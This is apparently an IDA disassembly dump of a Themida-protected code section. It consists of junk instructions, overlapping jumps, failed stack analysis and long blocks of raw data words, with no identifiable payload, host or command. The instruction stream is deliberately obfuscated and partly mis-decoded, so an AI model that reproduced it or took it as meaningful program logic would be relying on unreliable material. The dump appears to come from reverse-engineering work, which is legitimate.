mov bh, 0C8h
mov ch, bl
mov al, 19h
mov edi, 0C9391E3h
call near ptr loc_610237+5
lock inc edx
fnstenv byte ptr [eax]
push edi
xor eax, [esi-666BA3E1h]
loc_610237: ; CODE XREF: Themida_:00610227p
sub [ecx+0FB60D49h], edx
mov word ptr [ebx], es
; ---------------------------------------------------------------------------
db 0
dd 0EB800000h, 8AFC59E5h, 5EFC51D5h, 66F0B70Fh, 0F5D4BBFh
dd 188h, 8BB8F500h, 0F7F6FD0h, 82h, 7E800h, 10EE0000h
dd 0A2048746h, 0F0816640h, 0E95FEC07h, 5, 0C2F707DDh, 0DABF0FB4h
dd 8166D88Bh, 6040F6D9h, 8B0F60h, 66000000h, 9DD1C381h
dd 0BAB35361h, 0CE8B6158h, 4880Fh, 0B9660000h, 0F3801F02h
dd 4800F24h, 50000000h, 6659DE8Ah, 0F7E33B9h, 0D8Ch, 5E85200h
dd 0CB000000h, 0BB424A74h, 800F5E5Eh, 0Dh, 8E9h, 146D7800h
dd 0C215D8DEh, 0FFA8B1Ah, 0B87h, 5850F00h, 66000000h, 0B939C381h
dd 9C4232BAh, 7CD18104h, 663C4AD1h, 890FF28Bh, 1, 6CC280F5h
dd 6DA6BE66h, 0CE9D78Bh, 6A000000h, 93998E26h, 995C92AAh
dd 0FF2B8E1h, 178Fh, 12E900h, 0E7620000h, 25FD735Dh, 0E644128Bh
dd 0D70167CDh, 7BFE3558h, 1820Fh, 8BF90000h, 7E9F0h, 0EBD20000h
dd 0C2AD972Bh, 0C6F181C2h, 0F34065Ch, 46B3F7B7h, 8171F180h
dd 8C71E4C9h, 4DF38007h, 3485BE66h, 12E9h, 2B2E5500h, 786E8808h
dd 4149BD9Eh, 5BDB5BCAh, 0E96BE1EAh, 0Bh, 0C2231D46h, 0C22737A8h
dd 0B1A7A984h, 0BFDE8BC3h, 2BE4695Dh, 2820Fh, 9CB40000h
dd 7BBA66FCh, 0FE821h, 87850000h, 0CA86A4DDh, 0CF8E44FAh
dd 0DF98E090h, 5AF78A24h, 0FDEB70Fh, 388h, 0EFE28000h
dd 5AD78B51h, 60C7C480h, 12E960h, 44E60000h, 0B8F2256Ah
dd 846F05EDh, 0BDDA4904h, 0AF79EE2Dh, 0B70F6161h, 0B6B5FCC3h
dd 0C69FF281h, 0BDBE477Dh, 0E95030FAh, 6, 0E0FD647Bh, 880FA44Fh
dd 4, 585E5356h, 0DE8h, 0B570D600h, 8B3C58E8h, 62A5A04Bh
dd 14E9422Fh, 11000000h, 864EE295h, 941881CCh, 4011D0D5h
dd 0A7ADBA15h, 5B8FCB49h, 0BE9h, 3A8F4700h, 63842C01h
dd 0FE2723B0h, 0E8C1B70Fh, 0Bh, 0F8024625h, 0F426D0F4h
dd 0F98AC176h, 0FEB70F5Ah, 12E9h, 0B824F000h, 0C331B65Fh
dd 88D96AF0h, 0CE791F89h, 0FAAFE82h, 81F5D2B7h, 95E234DAh
dd 0D38B6006h, 6980B966h, 6DB96661h, 0CE92Ah, 28BD0000h
dd 74FB3B66h, 2D0DF6BAh, 9E944BEh, 0D4000000h, 56757118h
dd 9719FC34h, 0DA5FD6B8h, 9EDA811Eh, 664A6ABCh, 523895B9h
dd 5951DA80h, 16C9E981h, 11E90C58h, 0DF000000h, 8EA3D368h
dd 0AAB9AACh, 1461FF27h, 0FB6429B2h, 0C0F435B9h, 11E81Bh
dd 94AB0000h, 0A47C0A5Eh, 7C932BC7h, 5D78039Fh, 5950E32Eh
dd 14E8h, 13509000h, 0D2085FDh, 59C8B827h, 31C646Ch, 23DDD4E7h
dd 0CFB70F02h, 0BB66605Fh, 0EB81135Fh, 4A3E24A9h, 9E961h
dd 0A7F60000h, 59A86408h, 8159090Ch, 7CFC89DEh, 0E7816625h
dd 0F60BC57h, 61F9FFB7h, 0B7D38B66h, 0FAB70F7Bh, 7E8EEB7h
dd 6000000h, 3FD52D9Ah, 4FBEB299h, 5B14C4A4h, 0B6CEDA81h
dd 0C18B6058h, 0E351E381h, 0E9605924h, 0Fh, 8938D086h
dd 34E9786Fh, 0ACC55E69h, 0E9D30C1Bh, 14h, 0F5B5E47h, 0E4DF58D1h
dd 0E1163113h, 935437DFh, 0AA59DEF7h, 1820F61h, 0F5000000h
dd 0B966D38Bh, 8166A6E7h, 0F6EF4E1h, 11E9F2BFh, 0B8000000h
dd 0CF8F0267h, 0AC06FC8Bh, 1D255752h, 94F673C0h, 0C40B1BBAh
dd 8B66603Ch, 99E081F1h, 612A91F4h, 59DA8B56h, 40C28166h
dd 16890F14h, 0E8000000h, 10h, 3B41A81Ch, 7AFA481Ch, 6FA38225h
dd 7595E2B2h, 14E959h, 36B90000h, 2A40C054h, 108923D2h
dd 63B0236Bh, 0A8AC643Ch, 815657F1h, 0D0C79ED9h, 0C6805804h
dd 38A0FB5h, 80000000h, 36B0ABDBh, 3CF68166h, 18E0F71h
dd 0F5000000h, 5BE6B356h, 657F81BAh, 38C0F2Ch, 66000000h
dd 870FDF8Bh, 0
; ---------------------------------------------------------------------------
xor cx, 0EADEh
or ecx, 56AD324Fh
mov edi, eax
jz loc_61066D
mov eax, edi
loc_61066D: ; CODE XREF: Themida_:00610665j
mov bl, 6Ah
mov edx, ebx
push edi
adc bx, 6271h
pop edi
mov eax, 78E9AF1h
jz loc_610686
movsx ebx, cx
loc_610686: ; CODE XREF: Themida_:0061067Dj
jmp loc_61069E
; ---------------------------------------------------------------------------
db 0B4h
dd 0CC9F5F17h, 0F4BE5DC8h, 75D697CEh, 0C59AAE95h
db 20h, 4Dh
; ---------------------------------------------------------------------------
loc_61069E: ; CODE XREF: Themida_:loc_610686j
mov ah, 45h
clc
jmp loc_6106AB
; ---------------------------------------------------------------------------
xor eax, 0D6A6F456h
loc_6106AB: ; CODE XREF: Themida_:006106A1j
movzx ecx, bx
mov si, bx
call sub_6106BE
mov esp, [eax-7CAEF51Bh]
sti
cld
; =============== S U B R O U T I N E =======================================
sub_6106BE proc near ; CODE XREF: Themida_:006106B1p
jl loc_6106C9
adc di, 10B8h
loc_6106C9: ; CODE XREF: sub_6106BEj
pop edi
movsx edx, cx
movsx eax, bx
mov ah, 0DCh
jge $+6
push edx
mov ecx, 1CCF33EEh
pop eax
jmp loc_6106F8
; ---------------------------------------------------------------------------
dd 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 49398B3Ah, 98E6A9E5h
; ---------------------------------------------------------------------------
loc_6106F8: ; CODE XREF: sub_6106BE+21j
jmp loc_610705
; ---------------------------------------------------------------------------
db 2Eh, 29h, 0E8h
dd 0FF98F5Ch
db 8Fh
; ---------------------------------------------------------------------------
loc_610705: ; CODE XREF: sub_6106BE:loc_6106F8j
movzx edx, bx
cld
sub esi, 451BDCE3h
pusha
mov esi, 53AB97DAh
sub edx, 33552BF1h
popa
call near ptr loc_610729+1
push edx
dec edi
xchg dh, bl
mov dl, 3Eh
sub al, 9Bh
loc_610729: ; CODE XREF: sub_6106BE+5Ep
repne stc
sub_6106BE endp ; sp-analysis failed
pop esi
push edi
jmp loc_610742
; ---------------------------------------------------------------------------
dw 0A39Bh
dd 0DFB23A56h, 0BE261A9Eh, 7CA9AB8Fh
db 0CDh, 15h
; ---------------------------------------------------------------------------
loc_610742: ; CODE XREF: Themida_:0061072Dj
pop eax
sub dl, 8Fh
jno loc_61074E
mov dl, bl
loc_61074E: ; CODE XREF: Themida_:00610746j
xor edx, 6122745Ah
jle loc_61075C
mov edi, ebx
loc_61075C: ; CODE XREF: Themida_:00610754j
jmp loc_610770
; ---------------------------------------------------------------------------
db 2 dup(4Eh), 1Ah
dd 5E6486B6h, 0AAC6ACDAh, 655D3937h
; ---------------------------------------------------------------------------
loc_610770: ; CODE XREF: Themida_:loc_61075Cj
pusha
movzx ebx, si
mov eax, ebx
popa
mov dl, ch
mov al, 0B1h
movsx edi, ax
xor si, 0C600h
pusha
or esi, 4A56CEEEh
adc di, 9323h
popa
movzx esi, cx
jmp loc_61079E
; ---------------------------------------------------------------------------
dd 0FD0CED49h
; ---------------------------------------------------------------------------
sbb [eax], ah
loc_61079E: ; CODE XREF: Themida_:00610793j
call sub_6107AC
daa
sbb [eax-510F5852h], ebx
; ---------------------------------------------------------------------------
dw 1B8Fh
; =============== S U B R O U T I N E =======================================
sub_6107AC proc near ; CODE XREF: Themida_:loc_61079Ep
mov esi, 61B21966h
pop ebx
mov edx, 8AEA553h
mov esi, ecx
mov al, 30h
cld
call sub_6107D3
pushf
and eax, 23684FF4h
pop edi
or ebx, [edi]
mov ebp, [esi+edx*2]
popf
les edx, [ebp+3Fh]
sbb eax, eax
sub_6107AC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6107D3 proc near ; CODE XREF: sub_6107AC+10p
push esi
cld
pop eax
pop ebx
xor si, 23AEh
call sub_6107EE
into
ror dword ptr [ecx+24DE4860h], cl
pop esi
sbb ah, [esi-7Bh]
sbb eax, [edi]
sub_6107D3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6107EE proc near ; CODE XREF: sub_6107D3+9p
; FUNCTION CHUNK AT 006108D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 006108ED SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00610924 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00610964 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0061098C SIZE 0000000D BYTES
pop edi
mov edx, ebx
jmp loc_61080A
; ---------------------------------------------------------------------------
dw 97A5h
dd 0FD928577h, 28A0F4Eh, 364C9794h, 390D4AC1h
db 2Bh, 9Dh
; ---------------------------------------------------------------------------
loc_61080A: ; CODE XREF: sub_6107EE+3j
mov esi, 701D2C99h
jmp loc_610828
; ---------------------------------------------------------------------------
dd 84A02498h, 6437EF17h, 0B12CFC39h, 555DA92Ah, 4383995Eh
; ---------------------------------------------------------------------------
loc_610828: ; CODE XREF: sub_6107EE+21j
pusha
mov esi, edx
popa
adc ax, 6C8h
mov si, 6320h
adc dh, 5Ch
mov ebx, edx
and ah, 0E5h
jns loc_610847
push eax
mov ch, 0C7h
pop esi
loc_610847: ; CODE XREF: sub_6107EE+4Fj
jmp loc_610851
; ---------------------------------------------------------------------------
dd 0A97FF60Ch
db 18h
; ---------------------------------------------------------------------------
loc_610851: ; CODE XREF: sub_6107EE:loc_610847j
jle loc_61086B
jmp loc_61086B
; ---------------------------------------------------------------------------
adc al, 7Dh
sahf
test al, 83h
rcr byte ptr [ecx+74h], 30h
clc
xor dl, [edi-7Bh]
mov dl, 0B0h
loc_61086B: ; CODE XREF: sub_6107EE:loc_610851j
; sub_6107EE+69j
mov di, 0FC2Ah
pusha
or edx, 7E316C88h
movzx edx, ax
popa
mov dx, ax
xor ecx, 191C40ADh
mov eax, edx
adc di, 397Bh
mov di, cx
sbb ah, 0A2h
js $+6
or bl, 5Ah
jz loc_6108A1
mov edi, esi
loc_6108A1: ; CODE XREF: sub_6107EE+ABj
and esi, 10E8E79h
mov ch, 0BEh
jp loc_6108D5
call near ptr loc_6108BB+2
enter 0D85h, 0BAh
cmc
xchg eax, edx
dec ebp
loc_6108BB: ; CODE XREF: sub_6107EE+C1p
sub bh, large ds:12E9h
sub_6107EE endp ; sp-analysis failed
add [esi+ebx*8], bh
jo short loc_610913
nop
push ds
aaa
dec ebp
jge short near ptr loc_610927+2
shl dword ptr [edi+308C602Dh], 0C0h
or al, 5Ah
; START OF FUNCTION CHUNK FOR sub_6107EE
loc_6108D5: ; CODE XREF: sub_6107EE+BBj
jmp loc_6108ED
; END OF FUNCTION CHUNK FOR sub_6107EE
; ---------------------------------------------------------------------------
dw 5DB3h
dd 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah
db 22h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_6107EE
loc_6108ED: ; CODE XREF: sub_6107EE:loc_6108D5j
movzx eax, cx
jle loc_6108F8
mov edi, ebx
loc_6108F8: ; CODE XREF: sub_6107EE+102j
push edi
mov di, cx
pop esi
adc si, 8D58h
add esi, 30DDF4D0h
movsx ecx, ax
clc
mov si, cx
stc
mov cx, bx
loc_610913: ; CODE XREF: Themida_:006108C4j
pusha
jmp loc_610924
; END OF FUNCTION CHUNK FOR sub_6107EE
; ---------------------------------------------------------------------------
db 97h, 0BEh, 0Eh
; ---------------------------------------------------------------------------
xor ecx, [edi-513A22Ah]
push ss
movsb
; START OF FUNCTION CHUNK FOR sub_6107EE
loc_610924: ; CODE XREF: sub_6107EE+126j
cmc
popa
pusha
loc_610927: ; CODE XREF: Themida_:006108CAj
jnp loc_610932
mov ecx, 0A501D9Ch
loc_610932: ; CODE XREF: sub_6107EE:loc_610927j
movsx edi, ax
popa
sub edi, 5C3F4EE4h
sbb dl, 0A6h
mov cx, bx
jb loc_61094E
jle $+6
loc_61094E: ; CODE XREF: sub_6107EE+154j
mov bx, si
jmp loc_610964
; END OF FUNCTION CHUNK FOR sub_6107EE
; ---------------------------------------------------------------------------
sub eax, 2B776E2h
mov edi, 384D287Ah
sbb al, 97h
db 64h
cdq
; START OF FUNCTION CHUNK FOR sub_6107EE
loc_610964: ; CODE XREF: sub_6107EE+163j
jge loc_61096E
pusha
pusha
popa
popa
loc_61096E: ; CODE XREF: sub_6107EE:loc_610964j
mov dl, ah
mov bh, 67h
add dx, 9234h ; CODE XREF: sub_6107EE+1A5j
movzx edi, cx
cmc
movzx eax, si
pusha
jmp loc_61098C ; CODE XREF: sub_6107EE+1A8j
; END OF FUNCTION CHUNK FOR sub_6107EE
; ---------------------------------------------------------------------------
dd 15DD7E1Dh, 3DC52935h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_6107EE
loc_61098C: ; CODE XREF: sub_6107EE+191j
call near ptr loc_610996+1
scasd
cwde
jz short near ptr loc_610972+4
dec ebp
loc_610996: ; CODE XREF: sub_6107EE:loc_61098Cp
ja short near ptr loc_61097F+2
push cs
; END OF FUNCTION CHUNK FOR sub_6107EE
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 0EC70B744h, 55745CFFh, 0CAF145EFh, 615EBD6Bh, 666060F9h
dd 6661F08Bh, 0E861D88Bh, 11h, 0CECC0538h, 0DF2183Fh, 0F64A5071h
dd 0BE71531Dh, 10E9A0h, 0EC7A0000h, 0DEC0D249h, 8D120AACh
dd 8F3662C2h, 665B0CB3h, 0BF0FC18Bh, 839DBBC3h, 7E841BEh
dd 37000000h, 9D4F4F91h, 5EF52783h, 1F0CE381h, 8B66622Fh
dd 12E9CFh, 0F4E0000h, 9794028Ah, 4AC1364Ch, 9D2B390Dh
dd 0D9941C47h, 11E9h, 7FE56F00h, 7AA6108Eh, 3622D379h
dd 747D1A4Fh, 860F7CF4h, 0Eh, 820F60h, 81000000h, 0BB4375DEh
dd 0F526110h, 0E95EFFBFh, 0Eh, 0A85B4148h, 0D9DC8896h
dd 0EC2771FAh, 0F3819C64h, 3F4771EAh, 66D2BF0Fh, 666372BEh
dd 89BAFB8Bh, 0F7017D3h, 1784h, 118D0F00h, 0E9000000h
dd 0Ch, 953C0222h, 5185D46Fh, 152109C4h, 0D346C681h, 0FE91B76h
dd 0B4000000h, 328FCFD3h, 0A3728794h, 0B510931Fh, 0F2813588h
dd 5AD01EC5h, 840Fh, 0B9660000h, 0FB9E089h, 8B0BE8C0h
dd 0F38166C1h, 5E95901h, 0A0000000h, 42FF32D0h, 84DE8166h
dd 0FBF66C4h, 0C8BF0FC9h, 5E952h, 0DBA90000h, 5FF63721h
dd 4800Fh, 0BB660000h, 8D0F5F47h, 8, 0D940B860h, 61FC0E7Bh
dd 0DE860h, 7D270000h, 923BCFBFh, 135FD03h, 0E92D9295h
dd 0Ah, 0E5C521D9h, 91B9001Dh, 0F559A739h, 0AE961h, 0C9680000h
dd 0F2F51A17h, 0C5C0BFE8h, 8BF9B70Fh, 66BDB6FAh, 5F7CDF81h
dd 0E838C380h, 0Dh, 42AA63F6h, 289700DBh, 3453160h, 0BE99Eh
dd 0D1A90000h, 881B38D2h, 0BCFAD22Bh, 66F95A1Ch, 8A80E6BAh
dd 14E9F4h, 9B7C0000h, 0DAC0EE22h, 8B8BFC7Eh, 41B53B88h
dd 0DC6D70BEh, 0B866220Ch, 7BB30CF3h, 0FD08B66h, 386h
dd 0D8BF0F00h, 0B9665952h, 75B9A263h, 0B11C1008h, 8ADC8A7Bh
dd 605EB5C2h, 66F3BF0Fh, 4D99CB81h, 66EA8A61h, 0B0758CB8h
dd 14E8512Ch, 81000000h, 17D2F689h, 39548BDh, 0B445D8AEh
dd 0D4024A34h, 809ADF8Eh, 595FD6EEh, 66C8B70Fh, 6610F7B8h
dd 0F83F3BBh, 38Ah, 0C1BF0F00h, 11E9h, 6EE9F200h, 81DFDB8Fh
dd 0AA412929h, 0CDA16FA8h, 0B70F80E8h, 0D08166C0h, 8166AA72h
dd 0B41B08D1h, 6E94Bh, 6370000h, 55F710E5h, 0AD76BE66h
dd 0E82CC080h, 0Ah, 529341D0h, 0BE7C24E4h, 0B25A6385h
dd 0D38B66A3h, 4810Fh, 0B8660000h, 0EFB7FB42h, 876ACB81h
dd 10E925C1h, 7E000000h, 0CE23313h, 9DDD7668h, 0CF886F59h
dd 0E9BF9E6Ah, 14h, 815A0A04h, 8185849Eh, 3414B397h, 6E6704EAh
dd 0EF2AC73Dh, 0E8C3BF0Fh, 6, 0C7748646h, 0D08B727Bh, 0D381665Eh
dd 0B966A80Bh, 8A0F0A13h, 15h, 0DE851h, 4F460000h, 2F5F272Ah
dd 201B1019h, 5A5111C3h, 0CE85Fh, 0EA940000h, 0FCFE7CE4h
dd 4243BA0Bh, 3AB9C63Ah, 5F7FBAFDh, 0C523C881h, 0F08046EFh
dd 3830F02h, 0F000000h, 0B70FDBB7h, 12E960C2h, 0D7000000h
dd 0F0279544h, 0E312582Eh, 9A77F694h, 0C66F1704h, 0F870FBBh
dd 0E9000000h, 0Ah, 9A02882Ch, 7D4192A1h, 0E8616EA9h, 0Ch
dd 0C878688Eh, 2EFB4599h, 87ABFDF1h, 2870Fh, 0FC8A0000h
dd 0E9C5B058h, 14h, 0A00D3B00h, 29C4F1D7h, 0D0F47D6h, 0D0FF502Ch
dd 61D1D69Bh, 94D68166h, 0BB6660B3h, 0E1801773h, 11E96110h
dd 9D000000h, 0DBBD9022h, 0CCD36315h, 59CBB35Ch, 0F186BD9Dh
dd 0C2BA5953h, 60368D24h, 0BED08166h, 93BA664Ch, 0FE9610Dh
dd 0FB000000h, 5895E85h, 0FA68F83h, 2944BB72h, 0B70F7056h
dd 0C3B70FC7h, 12E9h, 0C46E3C00h, 13B0F3ECh, 0D25875Dh
dd 0EFACF9DAh, 8B4662B2h, 0F53F5CBh, 8Ch, 30BA5A00h, 0F4F720Ch
dd 0B84h, 6E900h, 1EF10000h, 0C4E928A6h, 2800FF5h, 8A000000h
dd 998FBFCAh, 605344C9h, 0EE9h, 0FD63FF00h, 1B2B0FD5h
dd 7F66A4BDh, 0FC49959h, 85h, 0F95E6100h, 28E0Fh, 0C18B0000h
dd 47FCC981h, 820F64E0h, 17h, 0DE960h, 0C3FB0000h, 2034BA42h
dd 917644A2h, 6630AB78h, 0F561FE8Bh, 0C78B6660h, 0D491C981h
dd 66613F5Fh, 6653F08Bh, 0D3F6F381h, 0C7B70F5Fh, 5820Fh
dd 81660000h, 0E8278FD9h, 0Bh, 1CCC1331h, 36A1D62Bh, 0BEFA874Ch
dd 7470AA9h, 0FFBE665Eh, 0CA8166B2h, 81666EE7h, 0B3A56DE3h
dd 0CB8B6626h, 58C0Fh, 81660000h, 81D81FEEh, 5B7D88DAh
dd 0F6816012h, 316FB21Eh, 528BB5BBh, 860F6152h, 1, 0E8F98AFCh
dd 7, 0E9D7E8DAh, 52C27A19h, 5858F4B6h, 0AABE51F8h, 5828E6F1h
dd 5879B450h, 0FB866F9h, 2850FCAh, 8B000000h, 816651C1h
dd 5F7B5FDBh, 0EF5B81BFh, 0B5F0801Dh, 0F671B966h, 7E9h
dd 0F7B80C00h, 0BF11496Dh, 5AC38B50h, 0CE9h, 0B017EF00h
dd 64A48B17h, 0C06F4194h, 0BE895h, 140B0000h, 5BBFA92Ch
dd 0FDF6EABEh, 59B157CAh, 83BF5859h, 535387DFh, 7E9h, 0CAF5E200h
dd 45215937h, 2ED4805Fh, 9880Fh, 860F0000h, 3, 0FC18B66h
dd 283h, 0E9CA8B00h, 7, 0AC85F146h, 8BC85ADBh, 92E281C1h
dd 81422C6Bh, 95ECF1D2h, 0B1F0801Eh, 81D38B66h, 223597DFh
dd 0E650BB76h, 0BB667BA4h, 0FF5A941h, 0D580D3BFh, 0F969B7D3h
dd 12E9h, 0E7061900h, 7B690B21h, 0EDE2DA4Ch, 0A2A05237h
dd 0E9E4A0C4h, 0Fh, 8B0AB70Eh, 1A7B5E9h, 7048E217h, 0E82BE477h
dd 0Fh, 208AA5B8h, 918F8458h, 424EE637h, 66D07A97h, 0EA34E181h
dd 0E960F55Ah, 10h, 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh
dd 40EEA232h, 4880Fh, 0B8660000h, 0F613425h, 0D780D6B7h
dd 0E8EF81FDh, 8A683A50h, 66B966DAh, 0E9F28B5Fh, 11h, 0CF2037FBh
dd 1BC64F92h, 98945D4Eh, 4F17E463h, 51CAB375h, 13E9h, 0D0E24F00h
dd 0D8BA5EC4h, 6DFA2D31h, 0E226968Eh, 917CAD41h, 13E85Eh
dd 37470000h, 587D564Ch, 0FC42653Bh, 5A2E42EFh, 7396952Dh
dd 0D88B668Ch, 9E959h, 9FCC0000h, 0B0649093h, 0F8E3ABAh
dd 1981h, 10E800h, 272B0000h, 58B449B6h, 31165E8h, 0AA18874Ah
dd 0B70F8C29h, 0D0815BFAh, 789C9E8Fh, 5F576060h, 10D18161h
dd 612CB0A1h, 66F9E1B3h, 577F21BAh, 0DB81665Fh, 0F9602F06h
dd 0E57D53BAh, 0BF0F6172h, 0FC18BCAh, 98Bh, 38A0F00h, 80000000h
dd 0E9608FEEh, 14h, 673E8F0Bh, 7800D638h, 47E6EEB0h, 0D9E0171Fh
dd 0F1DAD586h, 7E861h, 33C80000h, 47FD3581h, 0F781603Ch
dd 507D0C77h, 7971F381h, 58615A00h, 830FBBB1h, 5, 1502DDB9h
dd 80DA8B64h, 8166A3CDh, 66F154D2h, 669F42B9h, 0CDE0E181h
dd 1909F381h, 0F57337Dh, 0E85FCBBFh, 12h, 624516BDh, 0A4892F8Fh
dd 486F99B2h, 4FD4C9D7h, 8B663748h, 0F38158D9h, 194D96D6h
dd 94B86656h, 66F55ED9h, 0E9BC71B8h, 0Ah, 0BC3C5BB5h, 5F566E7Eh
dd 860F8FC4h, 3, 66D2BF0Fh, 0E9287EBBh, 0Ah, 35331C74h
dd 942126E7h, 8E0F2FCCh, 17h, 12E9h, 9B46CC00h, 54967C3Ch
dd 2DA5AD60h, 430D84E6h, 60816DFFh, 5909C181h, 0E381690Ah
dd 0D3FCBEDh, 0CE8B5061h, 0F08B5759h, 0DE816658h, 0EE963A3h
dd 0CF000000h, 417743C5h, 0C03B5568h
dd 28939761h, 0FABF0F6Ch, 0DE8h, 68964800h, 67495B50h
dd 0EE631A1Dh, 13E9F697h, 6000000h, 0F955CEEh, 0CD61D6EBh
dd 0B570D628h, 8B3C58E8h, 0F5FA04Bh, 168Eh, 11E900h, 75380000h
dd 6FFBE447h, 3E53B45Ah, 812417C3h, 0B8B93D00h, 47D30FF0h
dd 96C9B866h, 29BE07B8h, 28D0F69h, 8B000000h, 8E8D7h, 5BBA0000h
dd 94F4CC6Bh, 6E98E91h, 60000000h, 0FA64A200h, 14E95F5Eh
dd 0DF000000h, 0D6E94A85h, 5AC12607h, 0CA240A96h, 7E1F9820h
dd 0FFBA76Fh, 0DA81F6B7h, 5085548Ch, 3CEDBE66h, 8BFFB70Fh
dd 0D4D5B9C8h, 0C7B36497h, 66DFBF0Fh, 0CC5EEA81h, 708FBE66h
dd 0F8AC080h, 38Ah, 0C2BF0F00h, 198D0Fh, 14E90000h, 0C000000h
dd 0A2864C07h, 0A3C9ECFAh, 0EDAE7EFCh, 0CED2D7ABh, 0FC71A765h
dd 840642BAh, 0FABF0F5Fh, 9536D781h, 5E92B21h, 66000000h
dd 256B92F3h, 10E9h, 0F7D04B00h, 54C0A895h, 2B31AEFAh
dd 1D88ADD5h, 880F5185h, 2, 0E95FD68Bh, 0Eh, 729AFDC6h
dd 1C1F4658h, 705FE20Ch, 0FE8FEC4h, 1A000000h, 5BF13AAh
dd 1C197339h, 0B0024EA6h, 8F0F8DE8h, 6, 0E98DE81h, 665F0937h
dd 0BF66C88Bh, 0F381ED2Fh, 6E1EF409h, 12E9h, 0E2C83B00h
dd 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h, 6688D31Fh, 44FCCF81h
dd 14E8h, 6EA2B200h, 0E2019892h, 0BF804A82h, 0F90882E8h
dd 0D2E04AE2h, 6880FD1h, 81000000h, 21346CDFh, 8B0F5F17h
dd 0Ah, 4880Fh, 0BA660000h, 7E9EB8Fh, 0A0000000h, 473FA352h
dd 0DA80DD6Eh, 5880F16h, 60000000h, 61F55B53h, 0C98166F8h
dd 0EA8137FFh, 6AD3607Ch, 0FCDAB70Fh, 0BE9h, 61C8D000h
dd 9159070Fh, 9B7D2B59h, 0FD1ED881h, 0F9B9230Fh, 813B46DAh
dd 364E96EAh, 7FBE6036h, 602DB0BCh, 820Fh, 0BF0F0000h
dd 0E86161F1h, 0Ch, 78630C4Bh, 6134E13Dh, 630B7343h, 38A0Fh
dd 8B660000h, 66565ECFh, 5B4D0ABEh, 4840FFCh, 66000000h
dd 57C645B9h, 0F47E09BEh, 8B665806h, 5E8D3h, 48EA0000h
dd 0F37C9C8h, 0E958D9BFh, 9, 0E44508DEh, 4CD568C1h, 0EE8ECh
dd 0B8C0000h, 0D2A15AAAh, 149AA7A8h, 2D54B91Dh, 0BE8h
dd 1A995700h, 9A483CA7h, 0CB1B6DFh, 10E9h, 6D82D700h, 256A44E6h
dd 5EDB8F2h, 4904846Fh, 665E58DAh, 60E4E7B8h, 76E5BE66h
dd 11E9h, 0BEB27300h, 0C4A77263h, 76E12F17h, 72C5DC34h
dd 0F861DC69h, 0ADDE8166h, 57C88B4Ah, 0F5F1BB7h, 588h
dd 0C88B6000h, 0D68161F9h, 39322DA4h, 0DE9h, 381FC200h
dd 0EEB5465Eh, 0A5FC8091h, 0BF0FB1C6h, 0E870FF7h, 0E9000000h
dd 9, 345900FDh, 67FE8999h, 0CA8B6678h, 13E9F8h, 24B00000h
dd 97144478h, 374640CCh, 8C165285h, 0AE8B310Eh, 0FCCB8B70h
dd 0F13ABE66h, 0D0BFC78Ah, 665D01D6h, 8A0FD38Bh, 1, 0C28166F5h
dd 9E823E0h, 0F2000000h, 8FAC99F1h, 0B375BCC9h, 14E8h
dd 6C39F400h, 0DD7B0844h, 405F3270h, 7753DBD3h, 467290D1h
dd 59C78B51h, 5860F5Ah, 66000000h, 0F3A2C081h, 0FE8h, 0F23A9600h
dd 3EAEDE7h, 603BB5D5h, 0C5C3B4CAh, 665AF28Bh, 0F2E95B9h
dd 383h, 46C78000h, 8C0Fh, 0CF810000h, 1480949h, 0F916E480h
dd 0DA8B91B7h, 0ED35BA66h, 609AEB80h, 890F60h, 61000000h
dd 5161FE8Bh, 0A298E181h, 0F95A6854h, 5840Fh, 0B4B90000h
dd 0E92D27FDh, 7, 0E341C0DBh, 0E865698Dh, 0Ch, 0ED9450FBh
dd 0C0948569h, 0D67A1580h, 5FE7D780h, 0C7EE8166h, 0FEBF0F57h
dd 11E8h, 0AC6FBD00h, 6FF33985h, 1BBB4702h, 904F8C2Dh
dd 0D08AC960h, 0B4EA815Fh, 0F39F68Bh, 487h, 0F38B5600h
dd 13E85Eh, 0A3800000h, 30867A65h, 2FA7A37Ah, 42210CF1h
dd 810F8B60h, 28E0FF9h, 60000000h, 0FFC5961h, 198Eh, 14E900h
dd 7B530000h, 6C41937Eh, 0CA57412Ch, 69A36491h, 39B8AE23h
dd 0D3BE4CE8h, 537D2F4Ch, 0BE8h, 0A3906800h, 0EA5501F5h
dd 0B50EE8DBh, 880Fh, 585B0000h, 2AD7B866h, 58D0Fh, 81660000h
dd 66B391DEh, 0F51F78Bh, 8A5BCEBFh, 60C28AE5h, 0D681D88Ah
dd 2F33B4D0h, 62F78161h, 0B96AE62Ch, 5A636136h, 0BB66D68Bh
dd 81666214h, 0FCA38D1h, 1085h, 9E95300h, 64000000h, 66B6BA34h
dd 222E5AE9h, 0CEE0815Ah, 0E83E5EAFh, 5, 0B1022938h, 0DE920h
dd 0D0E00000h, 0A8F2B5F2h, 0C26B2147h, 58DDB2A0h, 9E9h
dd 0A2228700h, 0C90EF47Eh, 0BF0F4F4Dh, 78E181FAh, 8B464272h
dd 0F98B66F8h, 0C1C6F681h, 0A3B846EBh, 0E83433D0h, 0Ch
dd 0C16E83EEh, 0DAF888D2h, 0DBD19086h, 1132B866h, 0AE95Bh
dd 610A0000h, 82F25739h, 2DB74BAh, 0F28BB3B1h, 25AC081h
dd 8B6673EEh, 890FC3h, 0E9000000h, 11h, 5B34D34Bh, 0D46661Dh
dd 0D4B99D7Dh, 93D0E77Fh, 0CE9B3h, 0BF730000h, 45D6E7A5h
dd 40FE822h, 0B866B4EAh, 0E9608BACh, 13h, 8A686069h, 5E01BC15h
dd 0B6ACAA6Dh, 0C4F5FCB0h, 0E9C8A86Dh, 0Eh, 3B3AC915h
dd 64B6C89Fh, 335E2F8Eh, 0BF61DB5Fh, 6EBB9060h, 0DE8h
dd 0C566DA00h, 41C9764h, 0B1848A21h, 5E80212h, 0D9000000h
